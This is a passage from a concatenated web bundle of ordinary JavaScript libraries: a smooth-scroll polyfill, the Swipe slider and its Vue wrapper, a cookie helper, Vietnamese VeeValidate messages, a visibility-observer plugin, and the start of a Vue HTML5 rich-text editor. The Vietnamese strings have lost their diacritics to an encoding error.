            if (shouldBailOut(arguments[0])) {
                original.scrollBy.call(w, arguments[0].left || arguments[0], arguments[0].top || arguments[1]);
                return;
            }
            smoothScroll.call(w, d.body, ~~arguments[0].left + (w.scrollX || w.pageXOffset), ~~arguments[0].top + (w.scrollY || w.pageYOffset));
        };
        Element.prototype.scroll = Element.prototype.scrollTo = function() {
            if (shouldBailOut(arguments[0])) {
                original.elScroll.call(this, arguments[0].left || arguments[0], arguments[0].top || arguments[1]);
                return;
            }
            var left = arguments[0].left;
            var top = arguments[0].top;
            smoothScroll.call(this, this, typeof left === 'number' ? left : this.scrollLeft, typeof top === 'number' ? top : this.scrollTop);
        };
        Element.prototype.scrollBy = function() {
            var arg0 = arguments[0];
            if (typeof arg0 === 'object') {
                this.scroll({
                    left: arg0.left + this.scrollLeft,
                    top: arg0.top + this.scrollTop,
                    behavior: arg0.behavior
                });
            } else {
                this.scroll(this.scrollLeft + arg0, this.scrollTop + arguments[1]);
            }
        };
        Element.prototype.scrollIntoView = function() {
            if (shouldBailOut(arguments[0])) {
                original.scrollIntoView.call(this, arguments[0] === undefined ? true : arguments[0]);
                return;
            }
            var scrollableParent = findScrollableParent(this);
            var parentRects = scrollableParent.getBoundingClientRect();
            var clientRects = this.getBoundingClientRect();
            if (scrollableParent !== d.body) {
                smoothScroll.call(this, scrollableParent, scrollableParent.scrollLeft + clientRects.left - parentRects.left, scrollableParent.scrollTop + clientRects.top - parentRects.top);
                w.scrollBy({
                    left: parentRects.left,
                    top: parentRects.top,
                    behavior: 'smooth'
                });
            } else {
                w.scrollBy({
                    left: clientRects.left,
                    top: clientRects.top,
                    behavior: 'smooth'
                });
            }
        };
    }
    if (typeof exports === 'object') {
        module.exports = {
            polyfill: polyfill
        };
    } else {
        polyfill();
    }
})(window, document);
(function(root, factory) {
    if (typeof module !== 'undefined' && module.exports) {
        module.exports = factory();
    } else {
        root.Swipe = factory();
    }
}(this, function() {
    'use strict';
    return function Swipe(container, options) {
        var noop = function() {};
        var offloadFn = function(fn) {
            setTimeout(fn || noop, 0);
        };
        var browser = {
            addEventListener: !!window.addEventListener,
            touch: ('ontouchstart' in window) || window.DocumentTouch && document instanceof window.DocumentTouch,
            transitions: (function(temp) {
                var props = ['transitionProperty', 'WebkitTransition', 'MozTransition', 'OTransition', 'msTransition'];
                for (var i in props)
                    if (temp.style[props[i]] !== undefined) return true;
                return false;
            })(document.createElement('swipe'))
        };
        if (!container) return;
        var element = container.children[0];
        var slides, slidePos, width, length;
        options = options || {};
        var index = parseInt(options.startSlide, 10) || 0;
        var speed = options.speed || 300;
        var continuous = options.continuous = options.continuous !== undefined ? options.continuous : true;

        function setup() {
            slides = element.children;
            length = slides.length;
            continuous = slides.length < 2 ? false : options.continuous;
            if (browser.transitions && continuous && slides.length < 3) {
                element.appendChild(slides[0].cloneNode(true));
                element.appendChild(element.children[1].cloneNode(true));
                slides = element.children;
            }
            slidePos = new Array(slides.length);
            width = container.getBoundingClientRect().width || container.offsetWidth;
            element.style.width = (slides.length * width) + 'px';
            var pos = slides.length;
            while (pos--) {
                var slide = slides[pos];
                slide.style.width = width + 'px';
                slide.setAttribute('data-index', pos);
                if (browser.transitions) {
                    slide.style.left = (pos * -width) + 'px';
                    move(pos, index > pos ? -width : (index < pos ? width : 0), 0);
                }
            }
            if (continuous && browser.transitions) {
                move(circle(index - 1), -width, 0);
                move(circle(index + 1), width, 0);
            }
            if (!browser.transitions) element.style.left = (index * -width) + 'px';
            container.style.visibility = 'visible';
        }

        function prev() {
            if (continuous) slide(index - 1);
            else if (index) slide(index - 1);
        }

        function next() {
            if (continuous) slide(index + 1);
            else if (index < slides.length - 1) slide(index + 1);
        }

        function circle(index) {
            return (slides.length + (index % slides.length)) % slides.length;
        }

        function slide(to, slideSpeed) {
            if (index == to) return;
            if (browser.transitions) {
                var direction = Math.abs(index - to) / (index - to);
                if (continuous) {
                    var natural_direction = direction;
                    direction = -slidePos[circle(to)] / width;
                    if (direction !== natural_direction) to = -direction * slides.length + to;
                }
                var diff = Math.abs(index - to) - 1;
                while (diff--) move(circle((to > index ? to : index) - diff - 1), width * direction, 0);
                to = circle(to);
                move(index, width * direction, slideSpeed || speed);
                move(to, 0, slideSpeed || speed);
                if (continuous) move(circle(to - direction), -(width * direction), 0);
            } else {
                to = circle(to);
                animate(index * -width, to * -width, slideSpeed || speed);
            }
            index = to;
            offloadFn(options.callback && options.callback(index, slides[index]));
        }

        function move(index, dist, speed) {
            translate(index, dist, speed);
            slidePos[index] = dist;
        }

        function translate(index, dist, speed) {
            var slide = slides[index];
            var style = slide && slide.style;
            if (!style) return;
            style.webkitTransitionDuration = style.MozTransitionDuration = style.msTransitionDuration = style.OTransitionDuration = style.transitionDuration = speed + 'ms';
            style.webkitTransform = 'translate(' + dist + 'px,0)' + 'translateZ(0)';
            style.msTransform = style.MozTransform = style.OTransform = 'translateX(' + dist + 'px)';
        }

        function animate(from, to, speed) {
            if (!speed) {
                element.style.left = to + 'px';
                return;
            }
            var start = +new Date();
            var timer = setInterval(function() {
                var timeElap = +new Date() - start;
                if (timeElap > speed) {
                    element.style.left = to + 'px';
                    if (delay) begin();
                    options.transitionEnd && options.transitionEnd.call(event, index, slides[index]);
                    clearInterval(timer);
                    return;
                }
                element.style.left = (((to - from) * (Math.floor((timeElap / speed) * 100) / 100)) + from) + 'px';
            }, 4);
        }
        var delay = options.auto || 0;
        var interval;

        function begin() {
            clearTimeout(interval);
            interval = setTimeout(next, delay);
        }

        function stop() {
            delay = 0;
            clearTimeout(interval);
        }
        var start = {};
        var delta = {};
        var isScrolling;
        var events = {
            handleEvent: function(event) {
                switch (event.type) {
                    case 'touchstart':
                        this.start(event);
                        break;
                    case 'touchmove':
                        this.move(event);
                        break;
                    case 'touchend':
                        offloadFn(this.end(event));
                        break;
                    case 'webkitTransitionEnd':
                    case 'msTransitionEnd':
                    case 'oTransitionEnd':
                    case 'otransitionend':
                    case 'transitionend':
                        offloadFn(this.transitionEnd(event));
                        break;
                    case 'resize':
                        offloadFn(setup);
                        break;
                }
                if (options.stopPropagation) event.stopPropagation();
            },
            start: function(event) {
                var touches = event.touches[0];
                start = {
                    x: touches.pageX,
                    y: touches.pageY,
                    time: +new Date()
                };
                isScrolling = undefined;
                delta = {};
                element.addEventListener('touchmove', this, false);
                element.addEventListener('touchend', this, false);
            },
            move: function(event) {
                if (event.touches.length > 1 || event.scale && event.scale !== 1) return;
                if (options.disableScroll) event.preventDefault();
                var touches = event.touches[0];
                delta = {
                    x: touches.pageX - start.x,
                    y: touches.pageY - start.y
                };
                if (typeof isScrolling == 'undefined') {
                    isScrolling = !!(isScrolling || Math.abs(delta.x) < Math.abs(delta.y));
                }
                if (!isScrolling) {
                    event.preventDefault();
                    stop();
                    if (continuous) {
                        translate(circle(index - 1), delta.x + slidePos[circle(index - 1)], 0);
                        translate(index, delta.x + slidePos[index], 0);
                        translate(circle(index + 1), delta.x + slidePos[circle(index + 1)], 0);
                    } else {
                        delta.x = delta.x / ((!index && delta.x > 0 || index == slides.length - 1 && delta.x < 0) ? (Math.abs(delta.x) / width + 1) : 1);
                        translate(index - 1, delta.x + slidePos[index - 1], 0);
                        translate(index, delta.x + slidePos[index], 0);
                        translate(index + 1, delta.x + slidePos[index + 1], 0);
                    }
                    options.swiping && options.swiping(-delta.x / width);
                }
            },
            end: function(event) {
                var duration = +new Date() - start.time;
                var isValidSlide = Number(duration) < 250 && Math.abs(delta.x) > 20 || Math.abs(delta.x) > width / 2;
                var isPastBounds = !index && delta.x > 0 || index == slides.length - 1 && delta.x < 0;
                if (continuous) isPastBounds = false;
                var direction = delta.x < 0;
                if (!isScrolling) {
                    if (isValidSlide && !isPastBounds) {
                        if (direction) {
                            if (continuous) {
                                move(circle(index - 1), -width, 0);
                                move(circle(index + 2), width, 0);
                            } else {
                                move(index - 1, -width, 0);
                            }
                            move(index, slidePos[index] - width, speed);
                            move(circle(index + 1), slidePos[circle(index + 1)] - width, speed);
                            index = circle(index + 1);
                        } else {
                            if (continuous) {
                                move(circle(index + 1), width, 0);
                                move(circle(index - 2), -width, 0);
                            } else {
                                move(index + 1, width, 0);
                            }
                            move(index, slidePos[index] + width, speed);
                            move(circle(index - 1), slidePos[circle(index - 1)] + width, speed);
                            index = circle(index - 1);
                        }
                        options.callback && options.callback(index, slides[index]);
                    } else {
                        if (continuous) {
                            move(circle(index - 1), -width, speed);
                            move(index, 0, speed);
                            move(circle(index + 1), width, speed);
                        } else {
                            move(index - 1, -width, speed);
                            move(index, 0, speed);
                            move(index + 1, width, speed);
                        }
                    }
                }
                element.removeEventListener('touchmove', events, false);
                element.removeEventListener('touchend', events, false);
                element.removeEventListener('touchforcechange', function() {}, false);
            },
            transitionEnd: function(event) {
                if (parseInt(event.target.getAttribute('data-index'), 10) == index) {
                    if (delay) begin();
                    options.transitionEnd && options.transitionEnd.call(event, index, slides[index]);
                }
            }
        };
        setup();
        if (delay) begin();
        if (browser.addEventListener) {
            if (browser.touch) {
                element.addEventListener('touchstart', events, false);
                element.addEventListener('touchforcechange', function() {}, false);
            }
            if (browser.transitions) {
                element.addEventListener('webkitTransitionEnd', events, false);
                element.addEventListener('msTransitionEnd', events, false);
                element.addEventListener('oTransitionEnd', events, false);
                element.addEventListener('otransitionend', events, false);
                element.addEventListener('transitionend', events, false);
            }
            window.addEventListener('resize', events, false);
        } else {
            window.onresize = function() {
                setup();
            };
        }
        return {
            setup: function() {
                setup();
            },
            slide: function(to, speed) {
                stop();
                slide(to, speed);
            },
            prev: function() {
                stop();
                prev();
            },
            next: function() {
                stop();
                next();
            },
            stop: function() {
                stop();
            },
            getPos: function() {
                return index;
            },
            getNumSlides: function() {
                return length;
            },
            kill: function() {
                stop();
                element.style.width = '';
                element.style.left = '';
                var pos = slides.length;
                while (pos--) {
                    var slide = slides[pos];
                    slide.style.width = '';
                    slide.style.left = '';
                    if (browser.transitions) translate(pos, 0, 0);
                }
                if (browser.addEventListener) {
                    element.removeEventListener('touchstart', events, false);
                    element.removeEventListener('webkitTransitionEnd', events, false);
                    element.removeEventListener('msTransitionEnd', events, false);
                    element.removeEventListener('oTransitionEnd', events, false);
                    element.removeEventListener('otransitionend', events, false);
                    element.removeEventListener('transitionend', events, false);
                    window.removeEventListener('resize', events, false);
                } else {
                    window.onresize = null;
                }
            }
        };
    };
}));
Vue.component("nbr-swipe", {
    template: '<div vswipe><div :class="classswipe"><slot></slot></div></div>',
    props: {
        classswipe: {
            type: String,
            default: "swipe-wrap"
        },
        options: {
            startSlide: {
                type: Number,
                default: 0
            },
            speed: {
                type: Number,
                default: 400
            },
            auto: {
                type: Number,
                default: 3000
            },
            continuous: {
                type: Boolean,
                default: true
            },
            disableScroll: {
                type: Boolean,
                default: false
            },
            stopPropagation: {
                type: Boolean,
                default: false
            },
            callback: {
                type: Function,
                default: null
            },
            transitionEnd: {
                type: Function,
                default: null
            }
        }
    },
    data: function() {
        return {
            swipe: undefined
        }
    },
    mounted: function() {
        this.swipe = new Swipe(this.$el, this.options);
    },
    methods: {
        prev: function() {
            this.swipe.prev()
        },
        next: function() {
            this.swipe.next()
        },
        getPos: function() {
            return this.swipe.getPos()
        },
        getNumSlides: function() {
            return this.swipe.getNumSlides()
        },
        slide: function(index, duration) {
            this.swipe.slide(index, duration)
        },
        resize: function() {
            setTimeout(this.swipe.setup, 0)
        }
    },
    destroyed: function() {
        this.swipe.kill();
    }
});
Vue.component("nbr-swipeitem", {
    template: '<div class="swipe-item"><slot></slot></div>'
});
! function(e, t) {
    "function" == typeof define && define.amd ? define(t) : "object" == typeof exports ? module.exports = t() : e.Cookie = t()
}(this, function() {
    "use strict";

    function e(e) {
        return e.replace(/[.*+?^$|[\](){}\\-]/g, "\\$&")
    }

    function t(e) {
        var t = new Date,
            n = e.charAt(e.length - 1),
            o = parseInt(e, 10);
        switch (n) {
            case "Y":
                t.setFullYear(t.getFullYear() + o);
                break;
            case "M":
                t.setMonth(t.getMonth() + o);
                break;
            case "D":
                t.setDate(t.getDate() + o);
                break;
            case "h":
                t.setHours(t.getHours() + o);
                break;
            case "m":
                t.setMinutes(t.getMinutes() + o);
                break;
            case "s":
                t.setSeconds(t.getSeconds() + o);
                break;
            default:
                t = new Date(e)
        }
        return t
    }

    function n(e) {
        var n = "";
        for (var o in e)
            if (e.hasOwnProperty(o)) {
                if ("expires" === o) {
                    var r = e[o];
                    "object" != typeof r && (r += "number" == typeof r ? "D" : "", r = t(r)), e[o] = r.toUTCString()
                }
                if ("secure" === o) {
                    e[o] && (n += ";" + o);
                    continue
                }
                n += ";" + o + "=" + e[o]
            }
        return e.hasOwnProperty("path") || (n += ";path=/"), n
    }

    function o(e, t, n) {
        return void 0 === t ? o.get(e) : void(null === t ? o.remove(e) : o.set(e, t, n))
    }
    return o.enabled = function() {
        var e, t = "__test_key";
        return document.cookie = t + "=1", e = !!document.cookie, e && o.remove(t), e
    }, o.get = function(t, n) {
        if ("string" != typeof t || !t) return null;
        t = "(?:^|;)" + e(t) + "(?:=([^;]*?))?(?:;|$)";
        var o = new RegExp(t),
            r = o.exec(document.cookie);
        return null !== r ? n ? r[1] : decodeURIComponent(r[1]) : null
    }, o.getRaw = function(e) {
        return o.get(e, !0)
    }, o.set = function(e, t, o, r) {
        o !== !0 && (r = o, o = !1), r = n(r ? r : {});
        var u = e + "=" + (o ? t : encodeURIComponent(t)) + r;
        document.cookie = u
    }, o.setRaw = function(e, t, n) {
        o.set(e, t, !0, n)
    }, o.remove = function(e) {
        o.set(e, "a", {
            expires: new Date
        })
    }, o
});
! function(n, t) {
    "object" == typeof exports && "undefined" != typeof module ? module.exports = t() : "function" == typeof define && define.amd ? define(t) : (n.__locale__vi = n.__locale__vi || {}, n.__locale__vi.js = t())
}(this, function() {
    "use strict";
    var n = {
            _default: function(n) {
                return "Gi� tr� c�a " + n + " kh�ng �ng."
            },
            after: function(n, t) {
                return n + " ph�i xu�t hi�n sau " + t[0] + "."
            },
            alpha_dash: function(n) {
                return n + " c� th� ch�a c�c k� t� ch� (A-Z a-z),s� (0-9),g�ch ngang (-)v� g�ch d��i (_)."
            },
            alpha_num: function(n) {
                return n + " ch� c� th� ch�a c�c k� t� ch� v� s�."
            },
            alpha_spaces: function(n) {
                return n + " ch� c� th� ch�a c�c k� t� v� kho�ng tr�ng"
            },
            alpha: function(n) {
                return n + " ch� c� th� ch�a c�c k� t� ch�."
            },
            before: function(n, t) {
                return n + " ph�i xu�t hi�n tr��c " + t[0] + "."
            },
            between: function(n, t) {
                return n + " ph�i c� gi� tr� n�m trong kho�ng gi�a " + t[0] + " v� " + t[1] + "."
            },
            confirmed: function(n, t) {
                return n + " kh�c v�i " + t[0] + "."
            },
            credit_card: function(n) {
                return "� i�n " + n + " kh�ng ch�nh x�c."
            },
            date_between: function(n, t) {
                return n + " ph�i c� gi� tr� n�m trong kho�ng gi�a " + t[0] + " v� " + t[1] + "."
            },
            date_format: function(n, t) {
                return n + " ph�i c� gi� tr� d��i �nh d�ng " + t[0] + "."
            },
            decimal: function(n, t) {
                void 0 === t && (t = ["*"]);
                var c = t[0];
                return n + " ch� c� th� ch�a c�c k� t� s� v� d�u th�p ph�n " + ("*" === c ? "" : c) + "."
            },
            digits: function(n, t) {
                return "Tr��ng " + n + " ch� c� th� ch�a c�c k� t� s� v� b�t bu�c ph�i c� � d�i l� " + t[0] + "."
            },
            dimensions: function(n, t) {
                return n + " ph�i c� chi�u r�ng " + t[0] + " pixels v� chi�u cao " + t[1] + " pixels."
            },
            email: function(n) {
                return n + " ph�i l� m�t �a ch� email h�p l�."
            },
            ext: function(n) {
                return n + " ph�i l� m�t t�p."
            },
            image: function(n) {
                return "Tr��ng " + n + " ph�i l� m�t �nh."
            },
            in : function(n) {
                return n + " ph�i l� m�t gi� tr�."
            },
            ip: function(n) {
                return n + " ph�i l� m�t �a ch� ip h�p l�."
            },
            max: function(n, t) {
                return n + " kh�ng th� c� nhi�u h�n " + t[0] + " k� t�."
            },
            max_value: function(n, t) {
                return n + " ph�i nh� h�n ho�c b�ng " + t[0] + "."
            },
            mimes: function(n) {
                return n + " ph�i ch�a ki�u t�p ph� h�p."
            },
            min: function(n, t) {
                return n + " ph�i ch�a �t nh�t " + t[0] + " k� t�."
            },
            min_value: function(n, t) {
                return n + " ph�i l�n h�n ho�c b�ng " + t[0] + "."
            },
            not_in: function(n) {
                return n + " ph�i ch�a m�t gi� tr� h�p l�."
            },
            numeric: function(n) {
                return n + " ch� c� th� c� c�c k� t� s�."
            },
            regex: function(n) {
                return n + " c� �nh d�ng kh�ng �ng."
            },
            required: function(n) {
                return n + " l� b�t bu�c."
            },
            size: function(n, t) {
                return n + " ch� c� th� ch�a t�p nh� h�n " + t[0] + " KB."
            },
            url: function(n) {
                return n + " kh�ng ph�i l� m�t �a ch� URL h�p l�."
            }
        },
        t = {
            name: "vi",
            messages: n,
            attributes: {}
        };
    return "undefined" != typeof VeeValidate && VeeValidate && (VeeValidate.Validator, !0) && VeeValidate.Validator.addLocale(t), t
});
! function(root, factory) {
    "object" == typeof exports && "object" == typeof module ? module.exports = factory() : "function" == typeof define && define.amd ? define([], factory) : "object" == typeof exports ? exports.VueObserveVisibility = factory() : root.VueObserveVisibility = factory()
}(this, function() {
    return function(modules) {
        function __webpack_require__(moduleId) {
            if (installedModules[moduleId]) return installedModules[moduleId].exports;
            var module = installedModules[moduleId] = {
                i: moduleId,
                l: !1,
                exports: {}
            };
            return modules[moduleId].call(module.exports, module, module.exports, __webpack_require__), module.l = !0, module.exports
        }
        var installedModules = {};
        return __webpack_require__.m = modules, __webpack_require__.c = installedModules, __webpack_require__.i = function(value) {
            return value
        }, __webpack_require__.d = function(exports, name, getter) {
            __webpack_require__.o(exports, name) || Object.defineProperty(exports, name, {
                configurable: !1,
                enumerable: !0,
                get: getter
            })
        }, __webpack_require__.n = function(module) {
            var getter = module && module.__esModule ? function() {
                return module.default
            } : function() {
                return module
            };
            return __webpack_require__.d(getter, "a", getter), getter
        }, __webpack_require__.o = function(object, property) {
            return Object.prototype.hasOwnProperty.call(object, property)
        }, __webpack_require__.p = "", __webpack_require__(__webpack_require__.s = 2)
    }([function(module, exports, __webpack_require__) {
        "use strict";

        function throwValueError(value) {
            if (null !== value && "function" != typeof value) throw new Error("observe-visibility directive expects a function as the value")
        }
        exports.a = {
            bind: function(el, _ref, vnode) {
                var value = _ref.value;
                "undefined" == typeof IntersectionObserver ? console.warn("[vue-observe-visibility]IntersectionObserver API is not available in your browser.Please install this polyfill:https://github.com/WICG/IntersectionObserver/tree/gh-pages/polyfill") : ! function() {
                    throwValueError(value), el._vue_visibilityCallback = value;
                    var observer = el._vue_intersectionObserver = new IntersectionObserver(function(entries) {
                        var entry = entries[0];
                        el._vue_visibilityCallback && el._vue_visibilityCallback.call(null, entry.intersectionRatio > 0, entry)
                    });
                    vnode.context.$nextTick(function() {
                        observer.observe(el)
                    })
                }()
            },
            update: function(el, _ref2) {
                var value = _ref2.value;
                throwValueError(value), el._vue_visibilityCallback = value
            },
            unbind: function(el) {
                el._vue_intersectionObserver && (el._vue_intersectionObserver.disconnect(), delete el._vue_intersectionObserver, delete el._vue_visibilityCallback)
            }
        }
    }, function(module, exports) {
        var g, _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(obj) {
            return typeof obj
        } : function(obj) {
            return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj
        };
        g = function() {
            return this
        }();
        try {
            g = g || Function("return this")() || (0, eval)("this")
        } catch (e) {
            "object" === ("undefined" == typeof window ? "undefined" : _typeof(window)) && (g = window)
        }
        module.exports = g
    }, function(module, exports, __webpack_require__) {
        "use strict";
        (function(global) {
            function install(Vue) {
                Vue.directive("observe-visibility", __WEBPACK_IMPORTED_MODULE_0__directives_observe_visibility__.a)
            }
            var __WEBPACK_IMPORTED_MODULE_0__directives_observe_visibility__ = __webpack_require__(0);
            Object.defineProperty(exports, "__esModule", {
                value: !0
            }), __webpack_require__.d(exports, "ObserveVisibility", function() {
                return __WEBPACK_IMPORTED_MODULE_0__directives_observe_visibility__.a
            }), exports.install = install;
            var plugin = {
                version: "0.1.3",
                install: install
            };
            exports.default = plugin;
            var GlobalVue = null;
            "undefined" != typeof window ? GlobalVue = window.Vue : "undefined" != typeof global && (GlobalVue = global.Vue), GlobalVue && GlobalVue.use(plugin)
        }).call(exports, __webpack_require__(1))
    }])
});
(function(global, factory) {
    typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global.VueHtml5Editor = factory());
}(this, (function() {
    function __$styleInject(css, returnValue) {
        if (typeof document === 'undefined') {
            return returnValue;
        }
        css = css || '';
        var head = document.head || document.getElementsByTagName('head')[0];
        var style = document.createElement('style');
        style.type = 'text/css';
        if (style.styleSheet) {
            style.styleSheet.cssText = css;
        } else {
            style.appendChild(document.createTextNode(css));
        }
        head.appendChild(style);
        return returnValue;
    }
    var polyfill = function() {
        if (!Array.prototype.includes) {
            Object.defineProperty(Array.prototype, 'includes', {
                value: function value(searchElement, fromIndex) {
                    if (this == null) {
                        throw new TypeError('"this" is null or not defined')
                    }
                    var o = Object(this);
                    var len = o.length >>> 0;
                    if (len === 0) {
                        return false
                    }
                    var n = fromIndex | 0;
                    var k = Math.max(n >= 0 ? n : len - Math.abs(n), 0);
                    while (k < len) {
                        if (o[k] === searchElement) {
                            return true
                        }
                        k++;
                    }
                    return false
                }
            });
        }
        if (!Text.prototype.contains) {
            Text.prototype.contains = function contains(node) {
                return this === node
            };
        }
    };
    var template = "<div><button type=\"button\" @click=\"$parent.execCommand('justifyLeft')\">{{$parent.locale[\"left justify\"]}}</button><button type=\"button\" @click=\"$parent.execCommand('justifyCenter')\">{{$parent.locale[\"center justify\"]}}</button><button type=\"button\" @click=\"$parent.execCommand('justifyRight')\">{{$parent.locale[\"right justify\"]}}</button></div>";
    var dashboard = {
        template: template
    };
    var align = {
        name: 'align',
        icon: 'fa fa-align-center',
        i18n: 'align',
        dashboard: dashboard
    };
    var template$1 = "<div><div><label><input type=\"radio\" value=\"foreColor\" v-model=\"command\">&nbsp;{{$parent.locale[\"fore color\"]}}</label><label><input type=\"radio\" value=\"backColor\" v-model=\"command\">&nbsp;{{$parent.locale[\"background color\"]}}</label></div><div><div v-for=\"color in colors\" :style=\"{'background-color':color}\" class=\"color-card\" @click=\"changeColor(color)\"></div><div style=\"clear:both\"></div></div></div>";
    __$styleInject(".vue-html5-editor .color-card{margin:2px;width:30px;height:30px;float:left;cursor:pointer}", undefined);
    var dashboard$1 = {
        template: template$1,
        data: function data() {
            return {
                command: 'foreColor',
                colors: ['#000000', '#000033', '#000066', '#000099', '#003300', '#003333', '#003366', '#003399', '#006600', '#006633', '#009900', '#330000', '#330033', '#330066', '#333300', '#333366', '#660000', '#660033', '#663300', '#666600', '#666633', '#666666', '#666699', '#990000', '#990033', '#9900CC', '#996600', '#FFCC00', '#FFCCCC', '#FFCC99', '#FFFF00', '#FF9900', '#CCFFCC', '#CCFFFF', '#CCFF99']
            }
        },
        methods: {
            changeColor: function changeColor(color) {
                this.$parent.execCommand(this.command, color);
            }
        }
    };
    var color = {
        name: 'color',
        icon: 'fa fa-paint-brush',
        i18n: 'color',
        dashboard: dashboard$1
    };
    var eraser = {
        name: 'eraser',
        icon: 'fa fa-eraser',
        i18n: 'eraser',
        handler: function handler(editor) {
            editor.execCommand('removeFormat');
        }
    };
    var template$2 = "<div class=\"dashboard-font\" style=\"line-height:36px\"><div><label>{{$parent.locale[\"heading\"]}}:</label><button v-for=\"h in 6\" type=\"button\" @click=\"setHeading(h)\">H{{h}}</button></div><div><label>{{$parent.locale[\"font name\"]}}:</label><button v-for=\"name in nameList\" type=\"button\" @click=\"setFontName(name)\">{{name}}</button></div><div><label>{{$parent.locale[\"font size\"]}}:</label><button v-for=\"size in fontSizeList\" type=\"button\" @click=\"setFontSize(size)\">{{size}}</button></div><div><label>{{$parent.locale[\"line height\"]}}:</label><button v-for=\"lh in lineHeightList\" type=\"button\" @click=\"setLineHeight(lh)\">{{lh}}</button></div></div>";
    var Command = {
        JUSTIFY_LEFT: 'justifyLeft',
        JUSTIFY_CENTER: 'justifyCenter',
        JUSTIFY_RIGHT: 'justifyRight',
        FORE_COLOR: 'foreColor',
        BACK_COLOR: 'backColor',
        REMOVE_FORMAT: 'removeFormat',
        FONT_NAME: 'fontName',
        FONT_SIZE: 'fontSize',
        FORMAT_BLOCK: 'formatBlock',
        LINE_HEIGHT: 'lineHeight',
        INSERT_HORIZONTAL_RULE: 'insertHorizontalRule',
        INSERT_IMAGE: 'insertImage',
        CREATE_LINK: 'createLink',
        INSERT_ORDERED_LIST: 'insertOrderedList',
        INSERT_UNORDERED_LIST: 'insertUnorderedList',
        INSERT_HTML: 'insertHTML',
        BOLD: 'bold',
        ITALIC: 'italic',
        UNDERLINE: 'underline',
        STRIKE_THROUGH: 'strikeThrough',
        SUBSCRIPT: 'subscript',
        SUPERSCRIPT: 'superscript',
        UNDO: 'undo',
        UNLINK: 'unlink'
    };
    var dashboard$2 = {
        template: template$2,
        data: function data() {
            return {
                nameList: ['Microsoft YaHei', 'Helvetica Neue', 'Helvetica', 'Arial', 'sans-serif', 'Verdana', 'Georgia', 'Times New Roman', 'Trebuchet MS', 'Microsoft JhengHei', 'Courier New', 'Impact', 'Comic Sans MS', 'Consolas'],
                lineHeightList: ['1.0', '1.2', '1.5', '1.8', '2.0', '2.5', '3.0'],
                fontSizeList: ['12px', '14px', '16px', '18px', '20px', '22px', '24px']
            }
        },
        methods: {
            setFontName: function setFontName(name) {
                this.$parent.execCommand('fontName', name);
            },
            setFontSize: function setFontSize(size) {
                this.$parent.execCommand('fontSize', size);
            },
            setHeading: function setHeading(heading) {
                this.$parent.execCommand('formatBlock', ("h" + heading));
            },
            setLineHeight: function setLineHeight(lh) {
                this.$parent.execCommand(Command.LINE_HEIGHT, lh);
            }
        },
        created: function created() {
            var config = this.$options.module.config;
            if (!config) {
                return
            }
            if (Array.isArray(config.fontNames)) {
                this.nameList = config.fontNames;
            }
        }
    };
    var font = {
        name: 'font',
        icon: 'fa fa-font',
        i18n: 'font',
        dashboard: dashboard$2
    };
    var fullScreen$1 = {
        name: 'full-screen',
        icon: 'fa fa-arrows-alt',
        i18n: 'full screen',
        handler: function handler(editor) {
            editor.toggleFullScreen();
        }
    };
    var hr = {
        name: 'hr',
        icon: 'fa fa-minus',
        i18n: 'hr',
        handler: function handler(editor) {
            editor.execCommand('insertHorizontalRule');
        }
    };
    var commonjsGlobal = typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {};

    function createCommonjsModule(fn, module) {
        return module = {
            exports: {}
        }, fn(module, module.exports), module.exports;
    }
    var template$3 = "<div><div v-show=\"upload.status=='ready'\"><input type=\"text\" v-model=\"imageUrl\" maxlength=\"255\" :placeholder=\"$parent.locale['please enter a url']\"><button type=\"button\" @click=\"insertImageUrl\">{{$parent.locale.save}}</button><input type=\"file\" ref=\"file\" style=\"display:none !important\" @change=\"process\" accept=\"image/png,image/jpeg,image/gif,image/jpg\"><button type=\"button\" @click=\"pick\">{{$parent.locale.upload}}</button></div><div v-if=\"upload.status=='progress'\">{{$parent.locale.progress}}:{{upload.progressComputable ?$parent.locale.unknown :upload.complete}}</div><div v-if=\"upload.status=='success'\">{{$parent.locale[\"please wait\"]}}...</div><div v-if=\"upload.status=='error'\">{{$parent.locale.error}}:{{upload.errorMsg}}<button type=\"button\" @click=\"reset\">{{$parent.locale.reset}}</button></div><div v-if=\"upload.status=='abort'\">{{$parent.locale.upload}}&nbsp;{{$parent.locale.abort}},<button type=\"button\" @click=\"reset\">{{$parent.locale.reset}}</button></div></div>";
    var dashboard$3 = {
        template: template$3,
        data: function data() {
            return {
                imageUrl: '',
                upload: {
                    status: 'ready',
                    errorMsg: null,
                    progressComputable: false,
                    complete: 0
                }
            }
        },
        methods: {
            reset: function reset() {
                this.upload.status = 'ready';
            },
            insertImageUrl: function insertImageUrl() {
                if (!this.imageUrl) {
                    return
                }
                this.$parent.execCommand(Command.INSERT_IMAGE, this.imageUrl);
                this.imageUrl = null;
            },
            pick: function pick() {
                this.$refs.file.click();
            },
            setUploadError: function setUploadError(msg) {
                this.upload.status = 'error';
                this.upload.errorMsg = msg;
            },
            process: function process() {
                var this$1 = this;
                var component = this;
                var config = this.$options.module.config;
                if (!config.upload && typeof config.server === 'string') {
                    config.upload = {
                        url: config.server
                    };
                }
                if (config.upload && !config.upload.url) {
                    config.upload = null;
                }
                if (config.upload && typeof config.fieldName === 'string') {
                    config.upload.fieldName = config.fieldName;
                }
                if (typeof config.compress === 'boolean') {
                    config.compress = {
                        width: config.width,
                        height: config.height,
                        quality: config.quality
                    };
                }
                var file = this.$refs.file.files[0];
                if (file.size > config.sizeLimit) {
                    this.setUploadError(this.$parent.locale['exceed size limit']);
                    return
                }
                this.$refs.file.value = null;
                if (config.compress) {
                    config.compress.fieldName = config.upload && config.upload.fieldName ? config.upload.fieldName : 'image';
                    alert("Contact admin edit by NBR!");
                    return
                }
                if (!config.upload) {
                    var reader = new FileReader();
                    reader.onload = function(e) {
                        component.insertBase64(e.target.result);
                    };
                    reader.readAsDataURL(file);
                    return
                }
                component.uploadToServer(file);
            },
            insertBase64: function insertBase64(data) {
                this.$parent.execCommand(Command.INSERT_IMAGE, data);
            },
            uploadToServer: function uploadToServer(file) {
                var this$1 = this;
                var config = this.$options.module.config;
                var formData = new FormData();
                formData.append(config.upload.fieldName || 'image', file);
                if (typeof config.upload.params === 'object') {
                    Object.keys(config.upload.params).forEach(function(key) {
                        var value = config.upload.params[key];
